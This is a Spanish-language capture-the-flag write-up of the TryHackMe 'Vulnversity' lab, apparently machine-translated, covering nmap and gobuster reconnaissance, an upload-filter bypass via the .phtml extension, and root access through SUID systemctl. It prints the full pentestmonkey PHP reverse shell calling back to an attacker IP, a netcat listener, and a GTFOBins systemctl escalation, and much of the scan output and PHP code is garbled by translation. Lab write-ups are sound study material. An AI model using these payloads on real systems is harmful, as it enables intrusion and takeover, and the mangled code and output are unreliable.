Esta vez, intentaré conquistar la habitación "vulnversidad" en Tryhackme.
"Tryhackme-vulnversity: https://tryhackme.com/room/vulnversity "





Desplegar la máquina
Primero, implementa la máquina de destino.
Seleccione "Máquina de inicio"

Si la IP se muestra como se muestra a continuación, no hay problema.

Respuesta

Reconocimiento
Primero, utilizaremos una herramienta de escaneo de red llamada NMAP para recopilar información sobre la máquina de destino.
Para obtener más información sobre el comando, consulte Intenté usar NMAP, una poderosa herramienta de escaneo de red!

┌── (Hacklab㉿hackLab)-[~] └─ $ NMAP -SV 10.10.141.243 Inicio de NMAP 7.92 (https://nmap.org) en 2023-04-19 21:13 Informe de escaneo NMAP JST para 10.10.141.243 El huésped está arriba (0.24s later). No se muestra: 994 puertos TCP cerrados (conn-refundido) Puerto Estado Servicio Versión 21/TCP Open FTP VSFTPD 3.0.3 22/TCP Open SSH OpenSSH 7.2P2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; Protocolo 2.0) 139/TT Netbios-SSN Samba Samba SmbD 3.x-4.x (WorkGoup) 445/TCP Open Netbios-SSN Samba SMBD 3.x-4.x (WorkGroup: WorkGroup) 3128/TCP Open Http-Proxy Squid Http Proxy 3.5.12 3333/TCP Open HTTP Apache Httpd 2.4.18 ((UBUtu)) Información del servicio: Host: Vulnuniversity; OSS: Unix, Linux; CPE: CPE:/O: Linux: Linux_kernel Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/submit/. NMAP realizado: 1 dirección IP (1 host) escaneada en 58.36 segundos
Puede ver que hay alrededor de seis servicios en ejecución.
Respuesta
Hay muchas "hojas de trucos" de NMAP en línea que también puedes usar.

Escanee la caja, ¿cuántos puertos están abiertos?

¿Qué versión del proxy de calamar se está ejecutando en la máquina?

¿Cuántos puertos escanearán NMAP si se usó el flag -p -400?
┌── (Hacklab㉿hackLab)-[~] └─ $ nmap -sv -p-400 10.10.141.243 inicial de nmap 7.92 (https://nmap.org) en 2023-04-19 21:22 JST del informe de escaneo NMAP para 10.10.141.243 Host está up (0.24s Latency). No se muestra: 397 puertos TCP cerrados (conn-refundido) Puerto Estado Servicio Versión 21/TCP Open FTP VSFTPD 3.0.3 22/TCP Open SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; Protocolo 2.0) 139/TT-TPP Open NetBios-SSN Samba SmbD 3.x-4.x (Group) (Protocolo Greup) Vulnuniversity; OSS: Unix, Linux; CPE: CPE:/O: Linux: Linux_kernel Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/submit/. NMAP HECHO: 1 dirección IP (1 host) escaneada en 16.39 segundos

Usando la bandera nmap -n, ¿qué no resolverá? (¿Qué se resuelve el uso de nmap -n?)

¿Cuál es el sistema operativo más probable que esta máquina está ejecutando?
┌── (Hacklab㉿hackLab)-[~] └─ $ sudo nmap -sv -o 10.10.141.243 1 ⨯ Inicio de NMAP 7.92 (https://nmap.org) en 2023-04-04-19 21:45 El informe de escaneo de NMAP para 10.10.141.243 Host está actual (0.24s Latent). No se muestra: 994 puertos TCP cerrados (RESET) Puerto Estado Servicio Versión 21/TCP Open FTP VSFTPD 3.0.3 22/TCP Open SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; Protocolo 2.0) 139/TCP Open NetBios -SSN SAMBA SMBD 3.x - 4.x (Workgroup: Group) netbios-ssn samba smbd 3.x-4.x (trabajo de trabajo: trabajo de trabajo) 3128/tcp abre http-proxy squid http proxy 3.5.12 3333/tcp http apache httpd 2.4.18 ((usbuntu)) no coincide con el sistema operativo exacto para el host (si sabe lo que está en funcionamiento en it it it it, véase, véase, véase, véase, véase, véase, vé https://nmap.org/submit/). Huella digital TCP/IP: OS: escaneo (V = 7.92%E = 4%d = 4/19%OT = 21%CT = 1%CU = 36437%PV = Y%DS = 2%DC = I%G = Y%TM = 643Fe27 OS: 9%P = x86_64-pc-linux-gnu) SEQ (SP = 100%GCD = 1%ISR = 108%TI = Z%CI = I%II = I%TS = 8) OPS OS: (O1 = M506ST11NW7%O2 = M506ST11NW7%O3 = M506NNT11NW7%O4 = M506ST11NW7%O5 = M506ST1 OS: 1NW7%O6 = M506ST11) Gana (W1 = 68df%W2 = 68df%W3 = 68df%W4 = 68df%W5 = 68df%W6 = 68df) ECN OS: (r = y%df = y%t = 40%w = 6903%O = m506nnsnw7%cc = y%q =) t1 (r = y%df = y%t = 40%s = o%a = s+%f = a OS: S%rd = 0%q =) t2 (r = n) t3 (r = n) t4 (r = y%df = y%t = 40%w = 0%s = a%a = z%f = r%o =%rd = 0%q =) t5 (r OS: = y%df = y%t = 40%w = 0%s = z%a = s+%f = ar%o =%rd = 0%q =) t6 (r = y%df = y%t = 40%w = 0%s = a%a = z%f OS: = r%o =%rd = 0%q =) t7 (r = y%df = y%t = 40%w = 0%s = z%a = s+%f = ar%o =%rd = 0%q =) u1 (r = y%df = n% OS: T = 40%IPL = 164%un = 0%RIPL = G%Rid = G%RIPCK = G%Ruck = G%Rud = G) IE (R = Y%DFI = N%T = 40%CD OS: = S) Distancia de red: 2 Hops Información del servicio: Host: Vulnuniversity; OSS: Unix, Linux; CPE: CPE:/O: Linux: Linux_kernel OS y detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/submit/. NMAP HECHO: 1 dirección IP (1 host) escaneada en 44.07 segundos

¿En qué puerto se ejecuta el servidor web?

Es importante asegurarse de que siempre esté haciendo su reconocimiento a fondo antes de progresar. Conocer todos los servicios abiertos (que pueden ser todos los puntos de
explotación) es muy importante, no olvide que los puertos en un rango más alto pueden estar abiertos, por lo que siempre escanea los puertos después de 1000 (incluso si deja escanear en segundo plano) (incluso si el escaneo se realizó en segundo plano).

Localización de directorios utilizando Gobuster
Escanee el sitio web para encontrar directorios ocultos.
┌── (HackLab㉿hackLab)-[~] └─ $ Gobuster Dir -u http://10.10.141.243:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-mediium.txt === Gobuster v3.5 por OJ Reeves (@Checolonial) (@firefart) ===== [+] URL: http://10.10.141.243:3333 [+] método: get [+] hilos: 10 [+] wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Codes de estado negativo: 404 [+] agente de usuario: gobuster/3.5 [+] Tiempo de espera: 10s ==== 2023/04/19 22:13:23 Inicio Gobuster en el modo de enumeración del directorio ====/Images (estado: 301) [Tamaño: 322] [-> http://10.10.141.243:333/images/]/css (estado: 301) [tamaño: 319] [->>>> http://10.10.141.243:3333/css/]/js (estado: 301) [tamaño: 318] [-> http://10.141.243:3333/js/]/fonts (estado: 301) [tamaño: 321] [->> http://10.10.141.243:333/fonts/]/interno (estado: 301) [Tamaño: 324] [-> http://10.10.141.243:333/internal/]
Hay varios directorios, pero "/interno/" parece sospechoso.

Se encontró el directorio con la página de carga.
Respuesta
¿Cuál es el directorio que tiene una página de formulario de carga?

Comprometer el servidor web
Encontré una página para cargar el archivo, así que intentaré usarlo.
Respuesta
¿Qué tipo de archivo común, que desea cargar para explotar el servidor, está bloqueado? Prueba una pareja para averiguarlo.
No estaba muy seguro de esto. . . Después de buscar mucho, parece que .php es la respuesta.

Intentaré usar el intruso de Burp Suite para encontrar una extensión que pueda ejecutar PHP.
Turn Intercept está encendido y carga.

Ahora seleccione Acción> Enviar al intruso.

Esta vez, quiero cambiar la extensión del archivo, por lo que busco el archivo que cargué y encerré la extensión en "§".

Establezca opciones de carga útil como [.php, .php3, .php4, .php5, .phtml].

Si hace esto, verá que todo se devolverá a 200, como se muestra a continuación.

Aquí, la diferencia de longitud es solo ".phtml".
Echemos un vistazo un poco a los contenidos.

Solo .phtml ha sido devuelto al éxito.
Aproveche esto para ejecutar una carcasa inversa PHP.

esto como referencia para crear una carcasa inversa PHP.
No olvides cambiar tu IP.
┌── (Hacklab㉿hackLab)-[~/tryhackme/vulnversity] └─ $ cat php-reverse-shell.phtml <?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool. // // In all other respects the GPL version 2 applies: // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this program; if not, write to the Free Software Foundation, Inc., // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. If these terms are not acceptable to // you, then do not use this tool. // // You are encouraged to send comments, improvements or suggestions to // me at pentestmonkey@pentestmonkey.net // // Description // ----------- // This script will make an outbound TCP connection to a hardcoded IP and port. // The recipient will be given a shell running as the current user (apache normally). // // Limitations // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. // // Usage // ----- // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0); $VERSION = "1.0"; $ip = '10.18.110.90'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => Array ("tubería", "r"), // stdin es una tubería que el niño leerá de 1 => matriz ("tubería", "w"), // stdout es una tubería que el niño escribirá a 2 => matriz ("tubería", "w") // stderr es una tubería a la que el niño escribirá); $ process = proc_open ($ shell, $ descriptorspec, $ pipes); if (! is_resource ($ process)) {printit ("Error: no se puede engendrar shell"); salida (1); } // Establezca todo en no bloqueo // Razón: las lecturas de occsionalmente se bloquearán, aunque stream_select nos dice que no no se stream_set_blocking ($ tuberías [0], 0); stream_set_blocking ($ tuberías [1], 0); stream_set_blocking ($ tuberías [2], 0); stream_set_blocking ($ Sock, 0); printit ("abrió correctamente el shell inverso a $ ip: $ puerto"); while (1) {// Verifique el final de la conexión TCP if (FEOF ($ SOCK)) {printit ("Error: la conexión de shell terminado"); romper; } // Verifique el final de stDout if (FEOF ($ Pipes [1])) {printit ("Error: el proceso de shell terminado"); romper; } // espera hasta que un comando termine $ calcetín, o alguna // salida de comando está disponible en stdout o stderr $ read_a = array ($ calcetín, $ tuberías [1], $ tuberías [2]); $ num_changed_sockets = stream_select ($ read_a, $ write_a, $ error_a, null); // Si podemos leer desde el socket TCP, enviar // datos al proceso stdin if (in_array ($ sock, $ read_a)) {if ($ debug) printit ("sock read"); $ input = fread ($ Sock, $ chunk_size); if ($ debug) printit ("Sock: $ input"); fwrite ($ tuberías [0], $ entrada); } // Si podemos leer desde el stdout del proceso // Enviar datos hacia abajo con conexión TCP if (in_array ($ pipes [1], $ read_a)) {if ($ debug) printit ("stdout read"); $ input = fread ($ tuberías [1], $ chunk_size); if ($ debug) printit ("stdout: $ input"); fwrite ($ calcetín, $ entrada); } // Si podemos leer desde el stderr // envío de datos de la conexión TCP if (in_array ($ pipes [2], $ read_a)) {if ($ debug) printit ("stderr read"); $ input = fread ($ tuberías [2], $ chunk_size); if ($ debug) printit ("stderr: $ input"); fwrite ($ calcetín, $ entrada); }} fclose ($ calcetín); fclose ($ tuberías [0]); fclose ($ tuberías [1]); fclose ($ tuberías [2]); proc_close ($ proceso); // Me gusta Imprimir, pero no hace nada si nos hemos demandado // (no puedo entender cómo redirigir como un demonio apropiado) Printit ($ String) {if (! $ Daemon) {imprimir "$ String \ n"; }}?>
Escuche en 1234 antes de cargar el archivo.
┌── (Hacklab㉿hackLab) -[~/tryhackme/vulnversity] └─ $ nc -lvnp 1234 escuchando [cualquiera] 1234 ...
Si es posible, cargue la cubierta inversa PHP desde antes.


Fue un éxito.
PHP visitando http://10.10.141.243:3333/internal/uploads/php-reverse-shell.phtml

Echemos un vistazo a él escuchando en este estado.
┌── (Hacklab㉿hackLab)-[~/tryhackme/vulnversity] └─ $ nc -lvnp 1234 escuchando [cualquiera] 1234 ... conéctese a [10.18.110.90] de (desconocido) [10.10.141.243] 42860 Linux Vulnuniversity 4.4.0-142-genicer 21:00:45 UTC 2019 x86_64 x86_64 x86_64 gnu/linux 10:05:06 Up 1:57, 0 usuarios, promedio de carga: 0.03, 0.01, 0.00 usuarios de usuarios de los grupos de inactividad@ inactividad pcpu lo que uid = 33 (www-data) gid = 33 (wwww-data) grupos = 33 (33 (33 (33 (33 (33 (33 (33) /bin /sh: 0: no se puede acceder a tty; Job Controlado apagado $
Puede ejecutar correctamente una carcasa inversa.
Veamos qué tipo de usuarios hay.
$ CD Home $ LS Bill

El usuario de este usuario.txt parece tener una bandera, así que asegúrese de verificarlo.
$ CD Bill $ ls user.txt $ Cat user.txt 8bd7992fbe8a6ad22a63361004cfcedb

Escalada de privilegios
A continuación, buscaremos una forma de intensificar los privilegios para obtener privilegios de raíz.
Esta vez, creceremos privilegios usando Suid.
Si no está seguro de cuál es su Suid, consulte Electrication con ejecutable SUID/SGID

Primero, veamos una lista de ejecutables Suid.
$ find / -type f -a \ (-perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null -rwxr-sr-x 1 root tty 27368 May 16 2018 /usr/bin/wall -rwxr-sr-x 1 root tty 14752 Mar 1 2016 /usr/bin/bsd-write -rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newuidmap -rwxr-sr-x 1 root mlocate 39520 Nov 18 2014 /usr/bin/mlocate -rwxr-sr-x 1 root shadow 62336 May 16 2017 /usr/bin/chage -rwsr-xr-x 1 root root 49584 May 16 2017 /usr/bin/chfn -rwxr-sr-x 1 root utmp 434216 Feb 7 2016 /usr/bin/screen -rwxr-sr-x 1 raíz ssh 358624 31 de enero de 2019/usr/bin/ssh-agent -rwsr-xr-x 1 raíz raíz 32944 16 de mayo de 2017/usr/bin/newgidmap -rwxr-sr-x 1 raíz de la raíz 36080 abr 5 2016/usr/bin/crontab --rwsr-x 1 raíz de la raíz 136808 4 de julio de 2017/usr/bin/sudo -rwsr-xr-x 1 raíz de raíz 40432 16 de mayo de 2017/usr/bin/chsh -rwxr-sr-x 1 root shadow 22768 16 de mayo de 2017/usr/bin/expiry -rwsr-xr-x 1 root 54256 de mayo de 2017/usr/bin/bin/bin/passwd -xrwsr-xr-x-x raíz 23376 15 de enero de 2019/usr/bin/pKExec -rwsr-xr-x 1 raíz raíz 39904 16 de mayo de 2017/usr/bin/newgrp -rwsr-xr-x 1 raíz raíz 75304 16 de mayo de 2017/usr/bin/gpasswd -rWSr-sr-x 1 Daemon 51464 14 2016 2017/usr/gpasp -RWSR-SR-X 1 raíz de la raíz 98440 29 de enero de 2019/usr/lib/snapd/snap-confine -rwsr-xr-x 1 raíz root 14864 15 de enero de 2019/usr/lib/policykit-1/polkit-agent-helper-1 -rwsr-xr-x 1 root 428240 31 de enero de 2019 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 raíz root 10232 27 de marzo de 2017/usr/lib/eject/dmCrypt-get-device -rwsr-xr-x 1 raíz raíz 76408 17 de julio de 2019/usr/lib/squid/pinger -rwsr-xr-- 1 raíz de la raíz 76408 de julio de 2019/usr/lib/squid/pinger --rwsr-xr-- 1 boot metalbusbus 4292. /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwxr-sr-x 1 raíz Utmp 10232 marzo de marzo de 2016/usr/lib/x86_64-linux-gnu/utempter/utempter -rwsr-xr-x 1 raíz raíz 38984 junio de 2017 2017 de 2017 de 2017 de 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic -rwsr-xr-x 1 root root 40128 May 16 2017 /bin/su -rwsr-xr-x 1 root root 142032 Jan 28 2017 /bin/ntfs-3g -rwsr-xr-x 1 root root 40152 May 16 2018 /bin/mount -rwsr-xr-x 1 raíz raíz 44680 7 de mayo de 2014 /bin /ping6 -rwsr-xr-x 1 raíz raíz 27608 16 de mayo de 2018 /bin /umount -rwsr-xr-x 1 raíz root 659856 13 de febrero de 2019 /bin /systemctl -rwsr-xr-x 1 raíz de la raíz 44168 mayo 7 de febrero de 2019 /bin /systemctl -rwsr-xr-x 1 -rwsr-xr-x 1 raíz root 30800 12 de julio de 2016 /bin /fuserMount -rwxr-sr-x 1 root shadow 35600 abr 9 2018 /sbin /unix_chkpwd -rwxr-sr-x 1 root shadow 35632 9 de abril 2018 /sbin /pam_extrausers_chkpwd-rwsr-x 1 road 35600 15600 15600 15600 15600 15600 15600 15600 15600 15600 15600 15600 15600 15600 15600 15600 15600 15600 15600 15600 15T-ROAD. 6 de marzo de 2017 /sbin/mount.cifs
las gtfobinas , parece que la escalada de privilegios se puede hacer usando "/bin/systemctl".

Editaré un poco el contenido de gtfobins y lo ejecutaré.
$ Tf = $ (mktemp) .service $ echo '[servicio] execstart =/bin/sh -c "cat /root/root.txt>/tmp/output" [install] WantedBy = multiuser.target'> $ tf $/bin/systemctl enlace $ tf $/bin/systemctl enable ---now $ tf creó symlink de symlink de symlink de symlink de symlink de symlink de symlink de froming from desde /etc/systemd/system/multi-user.target.wants/tmp.etlafk2gsg.service a /tmp/tmp.etlafk2gsg.service. $ CD /TMP $ CAT SALIDA A58FF8579F0A9270368D33A9966C7FD5
Si se hace correctamente, debe haber un indicador en la salida.

resumen
Esta vez intenté conquistar la habitación llamada "Vulnversidad".
Creo que el contenido es simple, pero todavía hay muchas cosas que no entiendo, y hay algunas cosas que no puedo entender cuando miro la redacción.
Además, parece que aún no has podido averiguar qué vulnerabilidad atacar.
Continuaré estudiando. . .
Referencias y sitios
Medium (Utkarsh Rai): https://infosecwriteups.com/tryhackme-vulnversity-70ceeb601757